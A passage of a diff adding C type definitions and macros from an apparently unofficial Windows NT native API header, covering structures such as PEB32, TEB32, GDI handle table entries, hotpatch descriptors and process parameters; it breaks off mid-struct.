+typedef struct _SYSTEM_CALL_TIME_INFORMATION { + ULONG Length; + ULONG TotalCalls; + LARGE_INTEGER TimeOfCalls[1]; +} SYSTEM_CALL_TIME_INFORMATION, *PSYSTEM_CALL_TIME_INFORMATION; + +typedef struct _SYSTEM_OBJECT_INFORMATION { + ULONG NextEntryOffset; + PVOID Object; + HANDLE CreatorUniqueProcess; + USHORT CreatorBackTraceIndex; + USHORT Flags; + LONG PointerCount; + LONG HandleCount; + ULONG PagedPoolCharge; + ULONG NonPagedPoolCharge; + HANDLE ExclusiveProcessId; + PVOID SecurityDescriptor; + OBJECT_NAME_INFORMATION NameInfo; +} SYSTEM_OBJECT_INFORMATION, *PSYSTEM_OBJECT_INFORMATION; + +typedef struct _SYSTEM_PAGEFILE_INFORMATION { + ULONG NextEntryOffset; + ULONG TotalSize; + ULONG TotalInUse; + ULONG PeakUsage; + UNICODE_STRING PageFileName; +} SYSTEM_PAGEFILE_INFORMATION, *PSYSTEM_PAGEFILE_INFORMATION; + +typedef struct _SYSTEM_VERIFIER_INFORMATION { + ULONG NextEntryOffset; + ULONG Level; + UNICODE_STRING DriverName; + + ULONG RaiseIrqls; + ULONG AcquireSpinLocks; + ULONG SynchronizeExecutions; + ULONG AllocationsAttempted; + + ULONG AllocationsSucceeded; + ULONG AllocationsSucceededSpecialPool; + ULONG AllocationsWithNoTag; + ULONG TrimRequests; + + ULONG Trims; + ULONG AllocationsFailed; + ULONG AllocationsFailedDeliberately; + ULONG Loads; + + ULONG Unloads; + ULONG UnTrackedPool; + ULONG CurrentPagedPoolAllocations; + ULONG CurrentNonPagedPoolAllocations; + + ULONG PeakPagedPoolAllocations; + ULONG PeakNonPagedPoolAllocations; + + SIZE_T PagedPoolUsageInBytes; + SIZE_T NonPagedPoolUsageInBytes; + SIZE_T PeakPagedPoolUsageInBytes; + SIZE_T PeakNonPagedPoolUsageInBytes; + +} SYSTEM_VERIFIER_INFORMATION, *PSYSTEM_VERIFIER_INFORMATION; + +typedef struct _SYSTEM_VERIFIER_INFORMATION_EX +{ + ULONG VerifyMode; + ULONG OptionChanges; + UNICODE_STRING PreviousBucketName; + ULONG Reserved[ 4 ]; +} SYSTEM_VERIFIER_INFORMATION_EX, *PSYSTEM_VERIFIER_INFORMATION_EX; + +#define MM_WORKING_SET_MAX_HARD_ENABLE 0x1 +#define MM_WORKING_SET_MAX_HARD_DISABLE 0x2 +#define MM_WORKING_SET_MIN_HARD_ENABLE 0x4 +#define MM_WORKING_SET_MIN_HARD_DISABLE 0x8 + +typedef struct _SYSTEM_FILECACHE_INFORMATION { + SIZE_T CurrentSize; + SIZE_T PeakSize; + ULONG PageFaultCount; + SIZE_T MinimumWorkingSet; + SIZE_T MaximumWorkingSet; + SIZE_T CurrentSizeIncludingTransitionInPages; + SIZE_T PeakSizeIncludingTransitionInPages; + ULONG TransitionRePurposeCount; + ULONG Flags; +} SYSTEM_FILECACHE_INFORMATION, *PSYSTEM_FILECACHE_INFORMATION; + +#define FLG_HOTPATCH_KERNEL 0x80000000 +#define FLG_HOTPATCH_RELOAD_NTDLL 0x40000000 +#define FLG_HOTPATCH_NAME_INFO 0x20000000 +#define FLG_HOTPATCH_RENAME_INFO 0x10000000 +#define FLG_HOTPATCH_MAP_ATOMIC_SWAP 0x08000000 +#define FLG_HOTPATCH_WOW64 0x04000000 + +#define FLG_HOTPATCH_ACTIVE 0x00000001 +#define FLG_HOTPATCH_STATUS_FLAGS FLG_HOTPATCH_ACTIVE + +#define FLG_HOTPATCH_VERIFICATION_ERROR 0x00800000 + +typedef struct _HOTPATCH_HOOK_DESCRIPTOR +{ + ULONG_PTR TargetAddress; + PVOID MappedAddress; + ULONG CodeOffset; + ULONG CodeSize; + ULONG OrigCodeOffset; + ULONG ValidationOffset; + ULONG ValidationSize; +} HOTPATCH_HOOK_DESCRIPTOR, *PHOTPATCH_HOOK_DESCRIPTOR; + +typedef struct _SYSTEM_HOTPATCH_CODE_INFORMATION { + + ULONG Flags; + ULONG InfoSize; + + union + { + struct + { + ULONG DescriptorsCount; + HOTPATCH_HOOK_DESCRIPTOR CodeDescriptors[1]; // variable size structure + } CodeInfo; + + struct + { + USHORT NameOffset; + USHORT NameLength; + } KernelInfo; + + struct + { + USHORT NameOffset; + USHORT NameLength; + USHORT TargetNameOffset; + USHORT TargetNameLength; + } UserModeInfo; + + struct + { + HANDLE FileHandle1; + PIO_STATUS_BLOCK IoStatusBlock1; + PFILE_RENAME_INFORMATION RenameInformation1; + ULONG RenameInformationLength1; + HANDLE FileHandle2; + PIO_STATUS_BLOCK IoStatusBlock2; + PFILE_RENAME_INFORMATION RenameInformation2; + ULONG RenameInformationLength2; + } RenameInfo; + + struct + { + HANDLE ParentDirectory; + HANDLE ObjectHandle1; + HANDLE ObjectHandle2; + } AtomicSwap; + }; + +} SYSTEM_HOTPATCH_CODE_INFORMATION, *PSYSTEM_HOTPATCH_CODE_INFORMATION; + +typedef struct _KERNEL_USER_TIMES { + LARGE_INTEGER CreateTime; + LARGE_INTEGER ExitTime; + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; +} KERNEL_USER_TIMES; +typedef KERNEL_USER_TIMES *PKERNEL_USER_TIMES; + +typedef enum _WATCHDOG_HANDLER_ACTION +{ + WdActionSetTimeoutValue, + WdActionQueryTimeoutValue, + WdActionResetTimer, + WdActionStopTimer, + WdActionStartTimer, + WdActionSetTriggerAction, + WdActionQueryTriggerAction, + WdActionQueryState, + WdActionSleep, + WdActionWake +} WATCHDOG_HANDLER_ACTION; + +typedef enum _WATCHDOG_INFORMATION_CLASS { + WdInfoTimeoutValue, + WdInfoResetTimer, + WdInfoStopTimer, + WdInfoStartTimer, + WdInfoTriggerAction, + WdInfoState +} WATCHDOG_INFORMATION_CLASS; + +typedef + NTSTATUS + (*PWD_HANDLER)( + IN WATCHDOG_HANDLER_ACTION Action, + IN PVOID Context, + IN OUT PULONG DataValue, + IN BOOLEAN NoLocks + ); + +typedef struct _SYSTEM_WATCHDOG_HANDLER_INFORMATION { + PWD_HANDLER WdHandler; + PVOID Context; +} SYSTEM_WATCHDOG_HANDLER_INFORMATION, *PSYSTEM_WATCHDOG_HANDLER_INFORMATION; + +#define WDSTATE_FIRED 0x00000001 +#define WDSTATE_HARDWARE_ENABLED 0x00000002 +#define WDSTATE_STARTED 0x00000004 +#define WDSTATE_HARDWARE_PRESENT 0x00000008 + +typedef struct _SYSTEM_WATCHDOG_TIMER_INFORMATION { + WATCHDOG_INFORMATION_CLASS WdInfoClass; + ULONG DataValue; +} SYSTEM_WATCHDOG_TIMER_INFORMATION, *PSYSTEM_WATCHDOG_TIMER_INFORMATION; + +#define GDI_MAX_HANDLE_COUNT 0x4000 + +#define GDI_HANDLE_INDEX_SHIFT 0 +#define GDI_HANDLE_INDEX_BITS 16 +#define GDI_HANDLE_INDEX_MASK 0xffff + +#define GDI_HANDLE_TYPE_SHIFT 16 +#define GDI_HANDLE_TYPE_BITS 5 +#define GDI_HANDLE_TYPE_MASK 0x1f + +#define GDI_HANDLE_ALTTYPE_SHIFT 21 +#define GDI_HANDLE_ALTTYPE_BITS 2 +#define GDI_HANDLE_ALTTYPE_MASK 0x3 + +#define GDI_HANDLE_STOCK_SHIFT 23 +#define GDI_HANDLE_STOCK_BITS 1 +#define GDI_HANDLE_STOCK_MASK 0x1 + +#define GDI_HANDLE_UNIQUE_SHIFT 24 +#define GDI_HANDLE_UNIQUE_BITS 8 +#define GDI_HANDLE_UNIQUE_MASK 0xff + +#define GDI_HANDLE_INDEX(Handle) ((ULONG)(Handle) & GDI_HANDLE_INDEX_MASK) +#define GDI_HANDLE_TYPE(Handle) (((ULONG)(Handle) >> GDI_HANDLE_TYPE_SHIFT) & GDI_HANDLE_TYPE_MASK) +#define GDI_HANDLE_ALTTYPE(Handle) (((ULONG)(Handle) >> GDI_HANDLE_ALTTYPE_SHIFT) & GDI_HANDLE_ALTTYPE_MASK) +#define GDI_HANDLE_STOCK(Handle) (((ULONG)(Handle) >> GDI_HANDLE_STOCK_SHIFT)) & GDI_HANDLE_STOCK_MASK) + +#define GDI_MAKE_HANDLE(Index, Unique) ((ULONG)(((ULONG)(Unique) << GDI_HANDLE_INDEX_BITS) | (ULONG)(Index))) + +// GDI server-side types + +#define GDI_DEF_TYPE 0 +#define GDI_DC_TYPE 1 +#define GDI_DD_DIRECTDRAW_TYPE 2 +#define GDI_DD_SURFACE_TYPE 3 +#define GDI_RGN_TYPE 4 +#define GDI_SURF_TYPE 5 +#define GDI_CLIENTOBJ_TYPE 6 +#define GDI_PATH_TYPE 7 +#define GDI_PAL_TYPE 8 +#define GDI_ICMLCS_TYPE 9 +#define GDI_LFONT_TYPE 10 +#define GDI_RFONT_TYPE 11 +#define GDI_PFE_TYPE 12 +#define GDI_PFT_TYPE 13 +#define GDI_ICMCXF_TYPE 14 +#define GDI_ICMDLL_TYPE 15 +#define GDI_BRUSH_TYPE 16 +#define GDI_PFF_TYPE 17 // unused +#define GDI_CACHE_TYPE 18 // unused +#define GDI_SPACE_TYPE 19 +#define GDI_DBRUSH_TYPE 20 // unused +#define GDI_META_TYPE 21 +#define GDI_EFSTATE_TYPE 22 +#define GDI_BMFD_TYPE 23 // unused +#define GDI_VTFD_TYPE 24 // unused +#define GDI_TTFD_TYPE 25 // unused +#define GDI_RC_TYPE 26 // unused +#define GDI_TEMP_TYPE 27 // unused +#define GDI_DRVOBJ_TYPE 28 +#define GDI_DCIOBJ_TYPE 29 // unused +#define GDI_SPOOL_TYPE 30 + +// GDI client-side types + +#define GDI_CLIENT_TYPE_FROM_HANDLE(Handle) ((ULONG)(Handle) & ((GDI_HANDLE_ALTTYPE_MASK << GDI_HANDLE_ALTTYPE_SHIFT) | \ + (GDI_HANDLE_TYPE_MASK << GDI_HANDLE_TYPE_SHIFT))) +#define GDI_CLIENT_TYPE_FROM_UNIQUE(Unique) GDI_CLIENT_TYPE_FROM_HANDLE((ULONG)(Unique) << 16) + +#define GDI_ALTTYPE_1 (1 << GDI_HANDLE_ALTTYPE_SHIFT) +#define GDI_ALTTYPE_2 (2 << GDI_HANDLE_ALTTYPE_SHIFT) +#define GDI_ALTTYPE_3 (3 << GDI_HANDLE_ALTTYPE_SHIFT) + +#define GDI_CLIENT_BITMAP_TYPE (GDI_SURF_TYPE << GDI_HANDLE_TYPE_SHIFT) +#define GDI_CLIENT_BRUSH_TYPE (GDI_BRUSH_TYPE << GDI_HANDLE_TYPE_SHIFT) +#define GDI_CLIENT_CLIENTOBJ_TYPE (GDI_CLIENTOBJ_TYPE << GDI_HANDLE_TYPE_SHIFT) +#define GDI_CLIENT_DC_TYPE (GDI_DC_TYPE << GDI_HANDLE_TYPE_SHIFT) +#define GDI_CLIENT_FONT_TYPE (GDI_LFONT_TYPE << GDI_HANDLE_TYPE_SHIFT) +#define GDI_CLIENT_PALETTE_TYPE (GDI_PAL_TYPE << GDI_HANDLE_TYPE_SHIFT) +#define GDI_CLIENT_REGION_TYPE (GDI_RGN_TYPE << GDI_HANDLE_TYPE_SHIFT) + +#define GDI_CLIENT_ALTDC_TYPE (GDI_CLIENT_DC_TYPE | GDI_ALTTYPE_1) +#define GDI_CLIENT_DIBSECTION_TYPE (GDI_CLIENT_BITMAP_TYPE | GDI_ALTTYPE_1) +#define GDI_CLIENT_EXTPEN_TYPE (GDI_CLIENT_BRUSH_TYPE | GDI_ALTTYPE_2) +#define GDI_CLIENT_METADC16_TYPE (GDI_CLIENT_CLIENTOBJ_TYPE | GDI_ALTTYPE_3) +#define GDI_CLIENT_METAFILE_TYPE (GDI_CLIENT_CLIENTOBJ_TYPE | GDI_ALTTYPE_2) +#define GDI_CLIENT_METAFILE16_TYPE (GDI_CLIENT_CLIENTOBJ_TYPE | GDI_ALTTYPE_1) +#define GDI_CLIENT_PEN_TYPE (GDI_CLIENT_BRUSH_TYPE | GDI_ALTTYPE_1) + +typedef struct _GDI_HANDLE_ENTRY +{ + union + { + PVOID Object; + PVOID NextFree; + }; + union + { + struct + { + USHORT ProcessId; + USHORT Lock : 1; + USHORT Count : 15; + }; + ULONG Value; + } Owner; + USHORT Unique; + UCHAR Type; + UCHAR Flags; + PVOID UserPointer; +} GDI_HANDLE_ENTRY, *PGDI_HANDLE_ENTRY; + +typedef struct _GDI_SHARED_MEMORY +{ + GDI_HANDLE_ENTRY Handles[GDI_MAX_HANDLE_COUNT]; +} GDI_SHARED_MEMORY, *PGDI_SHARED_MEMORY; + +#define FLS_MAXIMUM_AVAILABLE 128 +#define TLS_MINIMUM_AVAILABLE 64 +#define TLS_EXPANSION_SLOTS 1024 + +#define DOS_MAX_COMPONENT_LENGTH 255 +#define DOS_MAX_PATH_LENGTH (DOS_MAX_COMPONENT_LENGTH + 5) + +typedef struct _CURDIR +{ + UNICODE_STRING DosPath; + HANDLE Handle; +} CURDIR, *PCURDIR; + +#define RTL_USER_PROC_CURDIR_CLOSE 0x00000002 +#define RTL_USER_PROC_CURDIR_INHERIT 0x00000003 + +typedef struct _RTL_DRIVE_LETTER_CURDIR +{ + USHORT Flags; + USHORT Length; + ULONG TimeStamp; + STRING DosPath; +} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR; + +#define RTL_MAX_DRIVE_LETTERS 32 +#define RTL_DRIVE_LETTER_VALID (USHORT)0x0001 + +typedef struct _RTL_USER_PROCESS_PARAMETERS +{ + ULONG MaximumLength; + ULONG Length; + + ULONG Flags; + ULONG DebugFlags; + + HANDLE ConsoleHandle; + ULONG ConsoleFlags; + HANDLE StandardInput; + HANDLE StandardOutput; + HANDLE StandardError; + + CURDIR CurrentDirectory; + UNICODE_STRING DllPath; + UNICODE_STRING ImagePathName; + UNICODE_STRING CommandLine; + PVOID Environment; + + ULONG StartingX; + ULONG StartingY; + ULONG CountX; + ULONG CountY; + ULONG CountCharsX; + ULONG CountCharsY; + ULONG FillAttribute; + + ULONG WindowFlags; + ULONG ShowWindowFlags; + UNICODE_STRING WindowTitle; + UNICODE_STRING DesktopInfo; + UNICODE_STRING ShellInfo; + UNICODE_STRING RuntimeData; + RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; + + ULONG EnvironmentSize; + ULONG EnvironmentVersion; +} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; + +#define WOW64_SYSTEM_DIRECTORY "SysWOW64" +#define WOW64_SYSTEM_DIRECTORY_U L"SysWOW64" +#define WOW64_X86_TAG " (x86)" +#define WOW64_X86_TAG_U L" (x86)" + +typedef enum _WOW64_SHARED_INFORMATION +{ + SharedNtdll32LdrInitializeThunk = 0, + SharedNtdll32KiUserExceptionDispatcher = 1, + SharedNtdll32KiUserApcDispatcher = 2, + SharedNtdll32KiUserCallbackDispatcher = 3, + SharedNtdll32LdrHotPatchRoutine = 4, + SharedNtdll32ExpInterlockedPopEntrySListFault = 5, + SharedNtdll32ExpInterlockedPopEntrySListResume = 6, + SharedNtdll32ExpInterlockedPopEntrySListEnd = 7, + SharedNtdll32RtlUserThreadStart = 8, + SharedNtdll32pQueryProcessDebugInformationRemote = 9, + SharedNtdll32EtwpNotificationThread = 10, + SharedNtdll32BaseAddress = 11, + Wow64SharedPageEntriesCount = 12 +} WOW64_SHARED_INFORMATION; + +// 21.12.2011 added +#define SET_LAST_STATUS(S)NtCurrentTeb()->LastErrorValue = RtlNtStatusToDosError(NtCurrentTeb()->LastStatusValue = (ULONG)(S)) +// 21.12.2011 - end + +// 32-bit definitions + +#if (_MSC_VER < 1300) && !defined(_WINDOWS_) +typedef struct LIST_ENTRY32 { + DWORD Flink; + DWORD Blink; +} LIST_ENTRY32; +typedef LIST_ENTRY32 *PLIST_ENTRY32; + +typedef struct LIST_ENTRY64 { + ULONGLONG Flink; + ULONGLONG Blink; +} LIST_ENTRY64; +typedef LIST_ENTRY64 *PLIST_ENTRY64; +#endif + +#define WOW64_POINTER(Type) ULONG + +typedef struct _PEB_LDR_DATA32 +{ + ULONG Length; + BOOLEAN Initialized; + WOW64_POINTER(HANDLE) SsHandle; + LIST_ENTRY32 InLoadOrderModuleList; + LIST_ENTRY32 InMemoryOrderModuleList; + LIST_ENTRY32 InInitializationOrderModuleList; + WOW64_POINTER(PVOID) EntryInProgress; + BOOLEAN ShutdownInProgress; + WOW64_POINTER(HANDLE) ShutdownThreadId; +} PEB_LDR_DATA32, *PPEB_LDR_DATA32; + +#define LDR_DATA_TABLE_ENTRY_SIZE_WINXP32 FIELD_OFFSET( LDR_DATA_TABLE_ENTRY32, ForwarderLinks ) + +typedef struct _LDR_DATA_TABLE_ENTRY32 +{ + LIST_ENTRY32 InLoadOrderLinks; + LIST_ENTRY32 InMemoryOrderLinks; + LIST_ENTRY32 InInitializationOrderLinks; + WOW64_POINTER(PVOID) DllBase; + WOW64_POINTER(PVOID) EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING32 FullDllName; + UNICODE_STRING32 BaseDllName; + ULONG Flags; + USHORT LoadCount; + USHORT TlsIndex; + union + { + LIST_ENTRY32 HashLinks; + struct + { + WOW64_POINTER(PVOID) SectionPointer; + ULONG CheckSum; + }; + }; + union + { + ULONG TimeDateStamp; + WOW64_POINTER(PVOID) LoadedImports; + }; + WOW64_POINTER(PVOID) EntryPointActivationContext; + WOW64_POINTER(PVOID) PatchInformation; + LIST_ENTRY32 ForwarderLinks; + LIST_ENTRY32 ServiceTagLinks; + LIST_ENTRY32 StaticLinks; + WOW64_POINTER(PVOID) ContextInformation; + WOW64_POINTER(ULONG_PTR) OriginalBase; + LARGE_INTEGER LoadTime; +} LDR_DATA_TABLE_ENTRY32, *PLDR_DATA_TABLE_ENTRY32; + +typedef struct _CURDIR32 +{ + UNICODE_STRING32 DosPath; + WOW64_POINTER(HANDLE) Handle; +} CURDIR32, *PCURDIR32; + +typedef struct _RTL_DRIVE_LETTER_CURDIR32 +{ + USHORT Flags; + USHORT Length; + ULONG TimeStamp; + STRING32 DosPath; +} RTL_DRIVE_LETTER_CURDIR32, *PRTL_DRIVE_LETTER_CURDIR32; + +typedef struct _RTL_USER_PROCESS_PARAMETERS32 +{ + ULONG MaximumLength; + ULONG Length; + + ULONG Flags; + ULONG DebugFlags; + + WOW64_POINTER(HANDLE) ConsoleHandle; + ULONG ConsoleFlags; + WOW64_POINTER(HANDLE) StandardInput; + WOW64_POINTER(HANDLE) StandardOutput; + WOW64_POINTER(HANDLE) StandardError; + + CURDIR32 CurrentDirectory; + UNICODE_STRING32 DllPath; + UNICODE_STRING32 ImagePathName; + UNICODE_STRING32 CommandLine; + WOW64_POINTER(PVOID) Environment; + + ULONG StartingX; + ULONG StartingY; + ULONG CountX; + ULONG CountY; + ULONG CountCharsX; + ULONG CountCharsY; + ULONG FillAttribute; + + ULONG WindowFlags; + ULONG ShowWindowFlags; + UNICODE_STRING32 WindowTitle; + UNICODE_STRING32 DesktopInfo; + UNICODE_STRING32 ShellInfo; + UNICODE_STRING32 RuntimeData; + RTL_DRIVE_LETTER_CURDIR32 CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; + + ULONG EnvironmentSize; + ULONG EnvironmentVersion; +} RTL_USER_PROCESS_PARAMETERS32, *PRTL_USER_PROCESS_PARAMETERS32; + +typedef struct _PEB32 +{ + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + union + { + BOOLEAN BitField; + struct + { + BOOLEAN ImageUsesLargePages : 1; + BOOLEAN IsProtectedProcess : 1; + BOOLEAN IsLegacyProcess : 1; + BOOLEAN IsImageDynamicallyRelocated : 1; + BOOLEAN SkipPatchingUser32Forwarders : 1; + BOOLEAN SpareBits : 3; + }; + }; + WOW64_POINTER(HANDLE) Mutant; + + WOW64_POINTER(PVOID) ImageBaseAddress; + WOW64_POINTER(PPEB_LDR_DATA) Ldr; + WOW64_POINTER(PRTL_USER_PROCESS_PARAMETERS) ProcessParameters; + WOW64_POINTER(PVOID) SubSystemData; + WOW64_POINTER(PVOID) ProcessHeap; + WOW64_POINTER(PRTL_CRITICAL_SECTION) FastPebLock; + WOW64_POINTER(PVOID) AtlThunkSListPtr; + WOW64_POINTER(PVOID) IFEOKey; + union + { + ULONG CrossProcessFlags; + struct + { + ULONG ProcessInJob : 1; + ULONG ProcessInitializing : 1; + ULONG ProcessUsingVEH : 1; + ULONG ProcessUsingVCH : 1; + ULONG ProcessUsingFTH : 1; + ULONG ReservedBits0 : 27; + }; + ULONG EnvironmentUpdateCount; + }; + union + { + WOW64_POINTER(PVOID) KernelCallbackTable; + WOW64_POINTER(PVOID) UserSharedInfoPtr; + }; + ULONG SystemReserved[1]; + ULONG AtlThunkSListPtr32; + WOW64_POINTER(PVOID) ApiSetMap; + ULONG TlsExpansionCounter; + WOW64_POINTER(PVOID) TlsBitmap; + ULONG TlsBitmapBits[2]; + WOW64_POINTER(PVOID) ReadOnlySharedMemoryBase; + WOW64_POINTER(PVOID) HotpatchInformation; + WOW64_POINTER(PPVOID) ReadOnlyStaticServerData; + WOW64_POINTER(PVOID) AnsiCodePageData; + WOW64_POINTER(PVOID) OemCodePageData; + WOW64_POINTER(PVOID) UnicodeCaseTableData; + + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + + LARGE_INTEGER CriticalSectionTimeout; + WOW64_POINTER(SIZE_T) HeapSegmentReserve; + WOW64_POINTER(SIZE_T) HeapSegmentCommit; + WOW64_POINTER(SIZE_T) HeapDeCommitTotalFreeThreshold; + WOW64_POINTER(SIZE_T) HeapDeCommitFreeBlockThreshold; + + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + WOW64_POINTER(PPVOID) ProcessHeaps; + + WOW64_POINTER(PVOID) GdiSharedHandleTable; + WOW64_POINTER(PVOID) ProcessStarterHelper; + ULONG GdiDCAttributeList; + + WOW64_POINTER(PRTL_CRITICAL_SECTION) LoaderLock; + + ULONG OSMajorVersion; + ULONG OSMinorVersion; + USHORT OSBuildNumber; + USHORT OSCSDVersion; + ULONG OSPlatformId; + ULONG ImageSubsystem; + ULONG ImageSubsystemMajorVersion; + ULONG ImageSubsystemMinorVersion; + WOW64_POINTER(ULONG_PTR) ImageProcessAffinityMask; + GDI_HANDLE_BUFFER32 GdiHandleBuffer; + WOW64_POINTER(PVOID) PostProcessInitRoutine; + + WOW64_POINTER(PVOID) TlsExpansionBitmap; + ULONG TlsExpansionBitmapBits[32]; + + ULONG SessionId; + + // Rest of structure not included. +} PEB32, *PPEB32; + +#define GDI_BATCH_BUFFER_SIZE 310 + +typedef struct _GDI_TEB_BATCH32 +{ + ULONG Offset; + WOW64_POINTER(ULONG_PTR) HDC; + ULONG Buffer[GDI_BATCH_BUFFER_SIZE]; +} GDI_TEB_BATCH32, *PGDI_TEB_BATCH32; + +#if (_MSC_VER < 1300) && !defined(_WINDOWS_) +// +// 32 and 64 bit specific version for wow64 and the debugger +// +typedef struct _NT_TIB32 { + DWORD ExceptionList; + DWORD StackBase; + DWORD StackLimit; + DWORD SubSystemTib; + union { + DWORD FiberData; + DWORD Version; + }; + DWORD ArbitraryUserPointer; + DWORD Self; +} NT_TIB32, *PNT_TIB32; + +typedef struct _NT_TIB64 { + DWORD64 ExceptionList; + DWORD64 StackBase; + DWORD64 StackLimit; + DWORD64 SubSystemTib; + union { + DWORD64 FiberData; + DWORD Version; + }; + DWORD64 ArbitraryUserPointer; + DWORD64 Self; +} NT_TIB64, *PNT_TIB64; +#endif + +typedef struct _TEB32 +{ + NT_TIB32 NtTib; + + WOW64_POINTER(PVOID) EnvironmentPointer; + CLIENT_ID32 ClientId; + WOW64_POINTER(PVOID) ActiveRpcHandle; + WOW64_POINTER(PVOID) ThreadLocalStoragePointer; + WOW64_POINTER(PPEB) ProcessEnvironmentBlock; + + ULONG LastErrorValue; + ULONG CountOfOwnedCriticalSections; + WOW64_POINTER(PVOID) CsrClientThread; + WOW64_POINTER(PVOID) Win32ThreadInfo; + ULONG User32Reserved[26]; + ULONG UserReserved[5]; + WOW64_POINTER(PVOID) WOW32Reserved; + LCID CurrentLocale; + ULONG FpSoftwareStatusRegister; + WOW64_POINTER(PVOID) SystemReserved1[54]; + NTSTATUS ExceptionCode; + WOW64_POINTER(PVOID) ActivationContextStackPointer; + BYTE SpareBytes[36]; + ULONG TxFsContext; + + GDI_TEB_BATCH32 GdiTebBatch; + CLIENT_ID32 RealClientId; + WOW64_POINTER(HANDLE) GdiCachedProcessHandle; + ULONG GdiClientPID; + ULONG GdiClientTID; + WOW64_POINTER(PVOID) GdiThreadLocalInfo; + WOW64_POINTER(ULONG_PTR) Win32ClientInfo[62]; + WOW64_POINTER(PVOID) glDispatchTable[233]; + WOW64_POINTER(ULONG_PTR) glReserved1[29]; + WOW64_POINTER(PVOID) glReserved2; + WOW64_POINTER(PVOID) glSectionInfo; + WOW64_POINTER(PVOID) glSection; + WOW64_POINTER(PVOID) glTable; + WOW64_POINTER(PVOID) glCurrentRC; + WOW64_POINTER(PVOID) glContext; + + NTSTATUS LastStatusValue; + UNICODE_STRING32 StaticUnicodeString; + WCHAR StaticUnicodeBuffer[261]; + + WOW64_POINTER(PVOID) DeallocationStack; + WOW64_POINTER(PVOID) TlsSlots[64]; + LIST_ENTRY32 TlsLinks; +} TEB32, *PTEB32; + +typedef + VOID + (*PPS_POST_PROCESS_INIT_ROUTINE) ( + VOID + ); + +typedef struct _TIB +{ + struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList; + PVOID StackBase; + PVOID StackLimit; + PVOID SubSystemTib; + + union + { + PVOID FiberData; + ULONG Version; + }; + + PVOID ArbitraryUserPointer; + struct _TIB *Self; +} TIB; +typedef TIB *PTIB; + +// +// inifile mapping +// + +typedef struct _NLS_USER_INFO +{ + + /**/ /*|0xa0|*/ WCHAR iCountry[80]; + /**/ /*|0xa0|*/ WCHAR sCountry[80]; + /**/ /*|0xa0|*/ WCHAR sList[80]; + /**/ /*|0xa0|*/ WCHAR iMeasure[80]; + /**/ /*|0xa0|*/ WCHAR iPaperSize[80]; + /**/ /*|0xa0|*/ WCHAR sDecimal[80]; + /**/ /*|0xa0|*/ WCHAR sThousand[80]; + /**/ /*|0xa0|*/ WCHAR sGrouping[80]; + /**/ /*|0xa0|*/ WCHAR iDigits[80]; + /**/ /*|0xa0|*/ WCHAR iLZero[80]; + /**/ /*|0xa0|*/ WCHAR iNegNumber[80]; + /**/ /*|0xa0|*/ WCHAR sNativeDigits[80]; + /**/ /*|0xa0|*/ WCHAR iDigitSubstitution[80]; + /**/ /*|0xa0|*/ WCHAR sCurrency[80]; + /**/ /*|0xa0|*/ WCHAR sMonDecSep[80]; + /**/ /*|0xa0|*/ WCHAR sMonThouSep[80]; + /**/ /*|0xa0|*/ WCHAR sMonGrouping[80]; + /**/ /*|0xa0|*/ WCHAR iCurrDigits[80]; + /**/ /*|0xa0|*/ WCHAR iCurrency[80]; + /**/ /*|0xa0|*/ WCHAR iNegCurr[80]; + /**/ /*|0xa0|*/ WCHAR sPosSign[80]; + /**/ /*|0xa0|*/ WCHAR sNegSign[80]; + /**/ /*|0xa0|*/ WCHAR sTimeFormat[80]; + /**/ /*|0xa0|*/ WCHAR s1159[80]; + /**/ /*|0xa0|*/ WCHAR s2359[80]; + /**/ /*|0xa0|*/ WCHAR sShortDate[80]; + /**/ /*|0xa0|*/ WCHAR sYearMonth[80]; + /**/ /*|0xa0|*/ WCHAR sLongDate[80]; + /**/ /*|0xa0|*/ WCHAR iCalType[80]; + /**/ /*|0xa0|*/ WCHAR iFirstDay[80]; + /**/ /*|0xa0|*/ WCHAR iFirstWeek[80]; + /**/ /*|0xa0|*/ WCHAR sLocale[80]; + /**/ /*|0xaa|*/ WCHAR sLocaleName[85]; + /**/ /*|0x4|*/ ULONG UserLocaleId; + /**/ /*|0x8|*/ struct _LUID InteractiveUserLuid; + /**/ /*|0x44|*/ UCHAR InteractiveUserSid[68]; + /**/ /*|0x4|*/ ULONG ulCacheUpdateCount; +} NLS_USER_INFO, *PNLS_USER_INFO; // + +typedef struct _INIFILE_MAPPING_TARGET +{ + struct _INIFILE_MAPPING_TARGET* Next; + struct _UNICODE_STRING RegistryPath; +} INIFILE_MAPPING_TARGET, *PINIFILE_MAPPING_TARGET; + +typedef struct _INIFILE_MAPPING_VARNAME +{ + struct _INIFILE_MAPPING_VARNAME* Next; + UNICODE_STRING Name; + ULONG MappingFlags; + struct _INIFILE_MAPPING_TARGET* MappingTarget; +} INIFILE_MAPPING_VARNAME, *PINIFILE_MAPPING_VARNAME; + +typedef struct _INIFILE_MAPPING_APPNAME +{ + struct _INIFILE_MAPPING_APPNAME* Next; + UNICODE_STRING Name; + struct _INIFILE_MAPPING_VARNAME* VariableNames; + struct _INIFILE_MAPPING_VARNAME* DefaultVarNameMapping; +} INIFILE_MAPPING_APPNAME, *PINIFILE_MAPPING_APPNAME; + +typedef struct _INIFILE_MAPPING_FILENAME +{ + struct _INIFILE_MAPPING_FILENAME* Next; + UNICODE_STRING Name; + struct _INIFILE_MAPPING_APPNAME* ApplicationNames; + struct _INIFILE_MAPPING_APPNAME* DefaultAppNameMapping; +} INIFILE_MAPPING_FILENAME, *PINIFILE_MAPPING_FILENAME; + +typedef struct _INIFILE_MAPPING +{ + struct _INIFILE_MAPPING_FILENAME* FileNames; + struct _INIFILE_MAPPING_FILENAME* DefaultFileNameMapping; + struct _INIFILE_MAPPING_FILENAME* WinIniFileMapping; + ULONG Reserved; +} INIFILE_MAPPING, *PINIFILE_MAPPING; + +#define PORT_CONNECT (0x0001) + +#define PORT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x1) + +typedef struct _PORT_MESSAGE +{ + union { + struct + { + 